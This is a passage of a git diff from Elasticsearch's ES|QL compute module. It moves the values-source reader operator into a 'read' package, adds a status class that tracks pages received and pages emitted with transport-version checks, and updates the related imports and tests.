+        FieldWork(FieldInfo info) {
+            this.info = info;
+        }
+
+        void sameSegment(int firstDoc) {
+            if (columnAtATime != null && columnAtATime.canReuse(firstDoc) == false) {
+                columnAtATime = null;
+            }
+            if (rowStride != null && rowStride.canReuse(firstDoc) == false) {
+                rowStride = null;
+            }
+        }
+
+        void sameShardNewSegment() {
+            columnAtATime = null;
+            rowStride = null;
+        }
+
+        void newShard(int shard) {
+            loader = info.blockLoader.apply(shard);
+            columnAtATime = null;
+            rowStride = null;
+        }
+
+        BlockLoader.ColumnAtATimeReader columnAtATime(LeafReaderContext ctx) throws IOException {
+            if (columnAtATime == null) {
+                columnAtATime = loader.columnAtATimeReader(ctx);
+                trackReader("column_at_a_time", this.columnAtATime);
+            }
+            return columnAtATime;
+        }
+
+        BlockLoader.RowStrideReader rowStride(LeafReaderContext ctx) throws IOException {
+            if (rowStride == null) {
+                rowStride = loader.rowStrideReader(ctx);
+                trackReader("row_stride", this.rowStride);
+            }
+            return rowStride;
+        }
+
+        private void trackReader(String type, BlockLoader.Reader reader) {
+            readersBuilt.merge(info.name + ":" + type + ":" + reader, 1, (prev, one) -> prev + one);
+        }
+    }
+
+    LeafReaderContext ctx(int shard, int segment) {
+        return shardContexts.get(shard).reader().leaves().get(segment);
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append("ValuesSourceReaderOperator[fields = [");
+        if (fields.length < 10) {
+            boolean first = true;
+            for (FieldWork f : fields) {
+                if (first) {
+                    first = false;
+                } else {
+                    sb.append(", ");
+                }
+                sb.append(f.info.name);
+            }
+        } else {
+            sb.append(fields.length).append(" fields");
+        }
+        return sb.append("]]").toString();
+    }
+
+    @Override
+    protected ValuesSourceReaderOperatorStatus status(
+        long processNanos,
+        int pagesReceived,
+        int pagesEmitted,
+        long rowsReceived,
+        long rowsEmitted
+    ) {
+        return new ValuesSourceReaderOperatorStatus(
+            new TreeMap<>(readersBuilt),
+            processNanos,
+            pagesReceived,
+            pagesEmitted,
+            rowsReceived,
+            rowsEmitted,
+            valuesLoaded
+        );
+    }
+
+    /**
+     * Quick checks for on the loaded block to make sure it looks reasonable.
+     * @param loader the object that did the loading - we use it to make error messages if the block is busted
+     * @param expectedPositions how many positions the block should have - it's as many as the incoming {@link Page} has
+     * @param block the block to sanity check
+     * @param field offset into the {@link #fields} array for the block being loaded
+     */
+    void sanityCheckBlock(Object loader, int expectedPositions, Block block, int field) {
+        if (block.getPositionCount() != expectedPositions) {
+            throw new IllegalStateException(
+                sanityCheckBlockErrorPrefix(loader, block, field)
+                    + " has ["
+                    + block.getPositionCount()
+                    + "] positions instead of ["
+                    + expectedPositions
+                    + "]"
+            );
+        }
+        if (block.elementType() != ElementType.NULL && block.elementType() != fields[field].info.type) {
+            throw new IllegalStateException(
+                sanityCheckBlockErrorPrefix(loader, block, field)
+                    + "'s element_type ["
+                    + block.elementType()
+                    + "] NOT IN (NULL, "
+                    + fields[field].info.type
+                    + ")"
+            );
+        }
+    }
+
+    private String sanityCheckBlockErrorPrefix(Object loader, Block block, int field) {
+        return fields[field].info.name + "[" + loader + "]: " + block;
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatus.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatus.java
new file mode 100644
index 0000000000000..ede86e6d78f12
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatus.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.lucene.read;
+
+import org.elasticsearch.TransportVersion;
+import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
+import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.compute.operator.AbstractPageMappingOperator;
+import org.elasticsearch.compute.operator.AbstractPageMappingToIteratorOperator;
+import org.elasticsearch.compute.operator.Operator;
+import org.elasticsearch.xcontent.XContentBuilder;
+
+import java.io.IOException;
+import java.util.Map;
+import java.util.Objects;
+
+import static org.elasticsearch.TransportVersions.ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED;
+import static org.elasticsearch.TransportVersions.ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19;
+import static org.elasticsearch.TransportVersions.ESQL_SPLIT_ON_BIG_VALUES_8_19;
+import static org.elasticsearch.TransportVersions.ESQL_SPLIT_ON_BIG_VALUES_9_1;
+
+public class ValuesSourceReaderOperatorStatus extends AbstractPageMappingToIteratorOperator.Status {
+    public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
+        Operator.Status.class,
+        "values_source_reader",
+        ValuesSourceReaderOperatorStatus::readFrom
+    );
+
+    private final Map<String, Integer> readersBuilt;
+    private final long valuesLoaded;
+
+    public ValuesSourceReaderOperatorStatus(
+        Map<String, Integer> readersBuilt,
+        long processNanos,
+        int pagesReceived,
+        int pagesEmitted,
+        long rowsReceived,
+        long rowsEmitted,
+        long valuesLoaded
+    ) {
+        super(processNanos, pagesReceived, pagesEmitted, rowsReceived, rowsEmitted);
+        this.readersBuilt = readersBuilt;
+        this.valuesLoaded = valuesLoaded;
+    }
+
+    static ValuesSourceReaderOperatorStatus readFrom(StreamInput in) throws IOException {
+        long processNanos;
+        int pagesReceived;
+        int pagesEmitted;
+        long rowsReceived;
+        long rowsEmitted;
+        if (supportsSplitOnBigValues(in.getTransportVersion())) {
+            AbstractPageMappingToIteratorOperator.Status status = new AbstractPageMappingToIteratorOperator.Status(in);
+            processNanos = status.processNanos();
+            pagesReceived = status.pagesReceived();
+            pagesEmitted = status.pagesEmitted();
+            rowsReceived = status.rowsReceived();
+            rowsEmitted = status.rowsEmitted();
+        } else {
+            AbstractPageMappingOperator.Status status = new AbstractPageMappingOperator.Status(in);
+            processNanos = status.processNanos();
+            pagesReceived = status.pagesProcessed();
+            pagesEmitted = status.pagesProcessed();
+            rowsReceived = status.rowsReceived();
+            rowsEmitted = status.rowsEmitted();
+        }
+        Map<String, Integer> readersBuilt = in.readOrderedMap(StreamInput::readString, StreamInput::readVInt);
+        long valuesLoaded = supportsValuesLoaded(in.getTransportVersion()) ? in.readVLong() : 0;
+        return new ValuesSourceReaderOperatorStatus(
+            readersBuilt,
+            processNanos,
+            pagesReceived,
+            pagesEmitted,
+            rowsReceived,
+            rowsEmitted,
+            valuesLoaded
+        );
+    }
+
+    @Override
+    public void writeTo(StreamOutput out) throws IOException {
+        if (supportsSplitOnBigValues(out.getTransportVersion())) {
+            super.writeTo(out);
+        } else {
+            /*
+             * Before we knew how to split pages when reading large values
+             * our status just contained one int per page - just like AbstractPageMappingOperator.Status.
+             */
+            new AbstractPageMappingOperator.Status(processNanos(), pagesEmitted(), rowsReceived(), rowsEmitted()).writeTo(out);
+        }
+        out.writeMap(readersBuilt, StreamOutput::writeVInt);
+        if (supportsValuesLoaded(out.getTransportVersion())) {
+            out.writeVLong(valuesLoaded);
+        }
+    }
+
+    private static boolean supportsSplitOnBigValues(TransportVersion version) {
+        return version.onOrAfter(ESQL_SPLIT_ON_BIG_VALUES_9_1) || version.isPatchFrom(ESQL_SPLIT_ON_BIG_VALUES_8_19);
+    }
+
+    private static boolean supportsValuesLoaded(TransportVersion version) {
+        return version.onOrAfter(ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED)
+            || version.isPatchFrom(ESQL_DOCUMENTS_FOUND_AND_VALUES_LOADED_8_19);
+    }
+
+    @Override
+    public String getWriteableName() {
+        return ENTRY.name;
+    }
+
+    public Map<String, Integer> readersBuilt() {
+        return readersBuilt;
+    }
+
+    @Override
+    public long valuesLoaded() {
+        return valuesLoaded;
+    }
+
+    @Override
+    public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
+        builder.startObject();
+        builder.startObject("readers_built");
+        for (Map.Entry<String, Integer> e : readersBuilt.entrySet()) {
+            builder.field(e.getKey(), e.getValue());
+        }
+        builder.endObject();
+        builder.field("values_loaded", valuesLoaded);
+        innerToXContent(builder);
+        return builder.endObject();
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (super.equals(o) == false) return false;
+        ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) o;
+        return readersBuilt.equals(status.readersBuilt) && valuesLoaded == status.valuesLoaded;
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(super.hashCode(), readersBuilt, valuesLoaded);
+    }
+
+    @Override
+    public String toString() {
+        return Strings.toString(this);
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingOperator.java
index d0b4aaad22a3e..84affa27dc5ec 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingOperator.java
@@ -127,7 +127,7 @@ public Status(long processNanos, int pagesProcessed, long rowsReceived, long row
             this.rowsEmitted = rowsEmitted;
         }
 
-        protected Status(StreamInput in) throws IOException {
+        public Status(StreamInput in) throws IOException {
             processNanos = in.getTransportVersion().onOrAfter(TransportVersions.V_8_14_0) ? in.readVLong() : 0;
             pagesProcessed = in.readVInt();
             if (in.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_ROWS_PROCESSED)) {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
index 6a165fdfa055b..055359c6a389a 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
@@ -64,13 +64,38 @@ public abstract class AbstractPageMappingToIteratorOperator implements Operator
      */
     protected abstract ReleasableIterator<Page> receive(Page page);
 
+    /**
+     * Append an {@link Iterator} of arrays of {@link Block}s to a
+     * {@link Page}, one after the other. It's required that the
+     * iterator emit as many <strong>positions</strong> as there were
+     * in the page.
+     */
+    public static ReleasableIterator<Page> appendBlockArrays(Page page, ReleasableIterator<Block[]> toAdd) {
+        return new AppendBlocksIterator(page, toAdd);
+    }
+
     /**
      * Append an {@link Iterator} of {@link Block}s to a {@link Page}, one
      * after the other. It's required that the iterator emit as many
      * <strong>positions</strong> as there were in the page.
      */
     public static ReleasableIterator<Page> appendBlocks(Page page, ReleasableIterator<? extends Block> toAdd) {
-        return new AppendBlocksIterator(page, toAdd);
+        return appendBlockArrays(page, new ReleasableIterator<>() {
+            @Override
+            public boolean hasNext() {
+                return toAdd.hasNext();
+            }
+
+            @Override
+            public Block[] next() {
+                return new Block[] { toAdd.next() };
+            }
+
+            @Override
+            public void close() {
+                toAdd.close();
+            }
+        });
     }
 
     @Override
@@ -86,13 +111,24 @@ public final void addInput(Page page) {
         if (next != null) {
             assert next.hasNext() == false : "has pending input page";
             next.close();
+            next = null;
         }
         if (page.getPositionCount() == 0) {
             return;
         }
-        next = new RuntimeTrackingIterator(receive(page));
-        pagesReceived++;
-        rowsReceived += page.getPositionCount();
+        try {
+            next = new RuntimeTrackingIterator(receive(page));
+            pagesReceived++;
+            rowsReceived += page.getPositionCount();
+        } finally {
+            if (next == null) {
+                /*
+                 * The `receive` operation failed, we need to release the incoming page
+                 * because it's no longer owned by anyone.
+                 */
+                page.releaseBlocks();
+            }
+        }
     }
 
     @Override
@@ -183,7 +219,7 @@ public Status(long processNanos, int pagesProcessed, int pagesEmitted, long rows
             this.rowsEmitted = rowsEmitted;
         }
 
-        protected Status(StreamInput in) throws IOException {
+        public Status(StreamInput in) throws IOException {
             processNanos = in.readVLong();
             pagesReceived = in.readVInt();
             pagesEmitted = in.readVInt();
@@ -284,11 +320,11 @@ public TransportVersion getMinimalSupportedVersion() {
 
     private static class AppendBlocksIterator implements ReleasableIterator<Page> {
         private final Page page;
-        private final ReleasableIterator<? extends Block> next;
+        private final ReleasableIterator<Block[]> next;
 
         private int positionOffset;
 
-        protected AppendBlocksIterator(Page page, ReleasableIterator<? extends Block> next) {
+        protected AppendBlocksIterator(Page page, ReleasableIterator<Block[]> next) {
             this.page = page;
             this.next = next;
         }
@@ -305,17 +341,17 @@ public final boolean hasNext() {
 
         @Override
         public final Page next() {
-            Block read = next.next();
+            Block[] read = next.next();
             int start = positionOffset;
-            positionOffset += read.getPositionCount();
-            if (start == 0 && read.getPositionCount() == page.getPositionCount()) {
+            positionOffset += read[0].getPositionCount();
+            if (start == 0 && read[0].getPositionCount() == page.getPositionCount()) {
                 for (int b = 0; b < page.getBlockCount(); b++) {
                     page.getBlock(b).incRef();
                 }
-                return page.appendBlock(read);
+                return page.appendBlocks(read);
             }
-            Block[] newBlocks = new Block[page.getBlockCount() + 1];
-            newBlocks[page.getBlockCount()] = read;
+            Block[] newBlocks = new Block[page.getBlockCount() + read.length];
+            System.arraycopy(read, 0, newBlocks, page.getBlockCount(), read.length);
             try {
                 // TODO a way to filter with a range please.
                 int[] positions = IntStream.range(start, positionOffset).toArray();
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/ColumnLoadOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/ColumnLoadOperator.java
index 4e06c1f0f4b69..05f60c1b6834d 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/ColumnLoadOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/ColumnLoadOperator.java
@@ -14,7 +14,7 @@
 
 /**
  * {@link Block#lookup Looks up} values from a provided {@link Block} and
- * mergeds them into each {@link Page}.
+ * merged them into each {@link Page}.
  */
 public class ColumnLoadOperator extends AbstractPageMappingToIteratorOperator {
     public record Values(String name, Block block) {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/DriverCompletionInfo.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/DriverCompletionInfo.java
index 7e63fe1681dd3..8f88f9d73b0d4 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/DriverCompletionInfo.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/DriverCompletionInfo.java
@@ -95,8 +95,9 @@ public static DriverCompletionInfo readFrom(StreamInput in) throws IOException {
             in.readVLong(),
             in.readCollectionAsImmutableList(DriverProfile::readFrom),
             in.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)
-                ? in.readCollectionAsImmutableList(PlanProfile::readFrom)
-                : List.of()
+                || in.getTransportVersion().isPatchFrom(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN_8_19)
+                    ? in.readCollectionAsImmutableList(PlanProfile::readFrom)
+                    : List.of()
         );
     }
 
@@ -105,7 +106,8 @@ public void writeTo(StreamOutput out) throws IOException {
         out.writeVLong(documentsFound);
         out.writeVLong(valuesLoaded);
         out.writeCollection(driverProfiles);
-        if (out.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)) {
+        if (out.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)
+            || out.getTransportVersion().isPatchFrom(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN_8_19)) {
             out.writeCollection(planProfiles);
         }
     }
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
index 9c15b0f3fc7d5..58466cffee78e 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/OrdinalsGroupingOperator.java
@@ -32,7 +32,7 @@
 import org.elasticsearch.compute.data.IntBlock;
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.data.Page;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.core.RefCounted;
 import org.elasticsearch.core.Releasable;
 import org.elasticsearch.core.Releasables;
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
index 1a88bac8b3953..6d345d510f4b0 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
@@ -52,7 +52,7 @@
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.LuceneSourceOperatorTests;
 import org.elasticsearch.compute.lucene.ShardContext;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.AbstractPageMappingOperator;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
index 4828f70e51dcd..655f7b54c61c0 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneQueryEvaluatorTests.java
@@ -32,6 +32,7 @@
 import org.elasticsearch.compute.data.ElementType;
 import org.elasticsearch.compute.data.Page;
 import org.elasticsearch.compute.data.Vector;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneSourceOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneSourceOperatorTests.java
index a8cb202f2be2c..91b8de1a08573 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneSourceOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneSourceOperatorTests.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.compute.data.IntBlock;
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorTests;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorScoringTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorScoringTests.java
index db60d3cd19cb3..7ba1f9790ecbe 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorScoringTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorScoringTests.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.compute.data.DoubleBlock;
 import org.elasticsearch.compute.data.ElementType;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorTests;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
 import org.elasticsearch.compute.test.OperatorTestCase;
@@ -52,7 +53,7 @@ public class LuceneTopNSourceOperatorScoringTests extends LuceneTopNSourceOperat
     private IndexReader reader;
 
     @After
-    private void closeIndex() throws IOException {
+    public void closeScoringIndex() throws IOException {
         IOUtils.close(reader, directory);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorTests.java
index 0c9bf676e0547..26540caee0b1f 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/LuceneTopNSourceOperatorTests.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.compute.data.ElementType;
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorTests;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
 import org.elasticsearch.compute.test.AnyOperatorTestCase;
@@ -57,7 +58,7 @@ public class LuceneTopNSourceOperatorTests extends AnyOperatorTestCase {
     private IndexReader reader;
 
     @After
-    private void closeIndex() throws IOException {
+    public void closeIndex() throws IOException {
         IOUtils.close(reader, directory);
     }
 
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorTests.java
index 15ae1d506a2fe..3a3fac1afc595 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/TimeSeriesSourceOperatorTests.java
@@ -34,6 +34,9 @@
 import org.elasticsearch.compute.data.ElementType;
 import org.elasticsearch.compute.data.LongVector;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.read.TimeSeriesExtractFieldOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorTests;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.DriverStatus;
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValueSourceReaderTypeConversionTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
similarity index 99%
rename from x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValueSourceReaderTypeConversionTests.java
rename to x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
index 88211a9170034..79ff6642a5ac3 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValueSourceReaderTypeConversionTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValueSourceReaderTypeConversionTests.java
@@ -5,7 +5,7 @@
  * 2.0.
  */
 
-package org.elasticsearch.compute.lucene;
+package org.elasticsearch.compute.lucene.read;
 
 import org.apache.lucene.document.Document;
 import org.apache.lucene.document.DoubleDocValuesField;
@@ -48,6 +48,12 @@
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.data.LongVector;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.DataPartitioning;
+import org.elasticsearch.compute.lucene.LuceneOperator;
+import org.elasticsearch.compute.lucene.LuceneSliceQueue;
+import org.elasticsearch.compute.lucene.LuceneSourceOperator;
+import org.elasticsearch.compute.lucene.LuceneSourceOperatorTests;
+import org.elasticsearch.compute.lucene.ShardContext;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.DriverRunner;
@@ -629,7 +635,9 @@ private void loadSimpleAndAssert(
             }
         }
         for (Operator op : operators) {
-            assertThat(((ValuesSourceReaderOperator) op).status().pagesProcessed(), equalTo(input.size()));
+            ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) op.status();
+            assertThat(status.pagesReceived(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), equalTo(input.size()));
         }
         assertDriverContext(driverContext);
     }
@@ -716,8 +724,9 @@ private void testLoadAllStatus(boolean allInOnePage) {
         }
         drive(operators, input.iterator(), driverContext);
         for (int i = 0; i < cases.size(); i++) {
-            ValuesSourceReaderOperator.Status status = (ValuesSourceReaderOperator.Status) operators.get(i).status();
-            assertThat(status.pagesProcessed(), equalTo(input.size()));
+            ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) operators.get(i).status();
+            assertThat(status.pagesReceived(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), equalTo(input.size()));
             FieldCase fc = cases.get(i);
             fc.checkReaders.check(fc.info.name(), allInOnePage, input.size(), totalSize, status.readersBuilt());
         }
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorStatusTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatusTests.java
similarity index 60%
rename from x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorStatusTests.java
rename to x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatusTests.java
index af1463b88c62c..f81398eb67695 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorStatusTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorStatusTests.java
@@ -5,7 +5,7 @@
  * 2.0.
  */
 
-package org.elasticsearch.compute.lucene;
+package org.elasticsearch.compute.lucene.read;
 
 import org.elasticsearch.common.Strings;
 import org.elasticsearch.common.io.stream.Writeable;
@@ -18,9 +18,9 @@
 
 import static org.hamcrest.Matchers.equalTo;
 
-public class ValuesSourceReaderOperatorStatusTests extends AbstractWireSerializingTestCase<ValuesSourceReaderOperator.Status> {
-    public static ValuesSourceReaderOperator.Status simple() {
-        return new ValuesSourceReaderOperator.Status(Map.of("ReaderType", 3), 1022323, 123, 111, 222, 1000);
+public class ValuesSourceReaderOperatorStatusTests extends AbstractWireSerializingTestCase<ValuesSourceReaderOperatorStatus> {
+    public static ValuesSourceReaderOperatorStatus simple() {
+        return new ValuesSourceReaderOperatorStatus(Map.of("ReaderType", 3), 1022323, 123, 200, 111, 222, 1000);
     }
 
     public static String simpleToJson() {
@@ -32,7 +32,8 @@ public static String simpleToJson() {
               "values_loaded" : 1000,
               "process_nanos" : 1022323,
               "process_time" : "1ms",
-              "pages_processed" : 123,
+              "pages_received" : 123,
+              "pages_emitted" : 200,
               "rows_received" : 111,
               "rows_emitted" : 222
             }""";
@@ -43,16 +44,17 @@ public void testToXContent() {
     }
 
     @Override
-    protected Writeable.Reader<ValuesSourceReaderOperator.Status> instanceReader() {
-        return ValuesSourceReaderOperator.Status::new;
+    protected Writeable.Reader<ValuesSourceReaderOperatorStatus> instanceReader() {
+        return ValuesSourceReaderOperatorStatus::readFrom;
     }
 
     @Override
-    public ValuesSourceReaderOperator.Status createTestInstance() {
-        return new ValuesSourceReaderOperator.Status(
+    public ValuesSourceReaderOperatorStatus createTestInstance() {
+        return new ValuesSourceReaderOperatorStatus(
             randomReadersBuilt(),
             randomNonNegativeLong(),
             randomNonNegativeInt(),
+            randomNonNegativeInt(),
             randomNonNegativeLong(),
             randomNonNegativeLong(),
             randomNonNegativeLong()
@@ -69,22 +71,32 @@ private Map<String, Integer> randomReadersBuilt() {
     }
 
     @Override
-    protected ValuesSourceReaderOperator.Status mutateInstance(ValuesSourceReaderOperator.Status instance) throws IOException {
+    protected ValuesSourceReaderOperatorStatus mutateInstance(ValuesSourceReaderOperatorStatus instance) throws IOException {
         Map<String, Integer> readersBuilt = instance.readersBuilt();
         long processNanos = instance.processNanos();
-        int pagesProcessed = instance.pagesProcessed();
+        int pagesReceived = instance.pagesReceived();
+        int pagesEmitted = instance.pagesEmitted();
         long rowsReceived = instance.rowsReceived();
         long rowsEmitted = instance.rowsEmitted();
         long valuesLoaded = instance.valuesLoaded();
-        switch (between(0, 5)) {
+        switch (between(0, 6)) {
             case 0 -> readersBuilt = randomValueOtherThan(readersBuilt, this::randomReadersBuilt);
             case 1 -> processNanos = randomValueOtherThan(processNanos, ESTestCase::randomNonNegativeLong);
-            case 2 -> pagesProcessed = randomValueOtherThan(pagesProcessed, ESTestCase::randomNonNegativeInt);
-            case 3 -> rowsReceived = randomValueOtherThan(rowsReceived, ESTestCase::randomNonNegativeLong);
-            case 4 -> rowsEmitted = randomValueOtherThan(rowsEmitted, ESTestCase::randomNonNegativeLong);
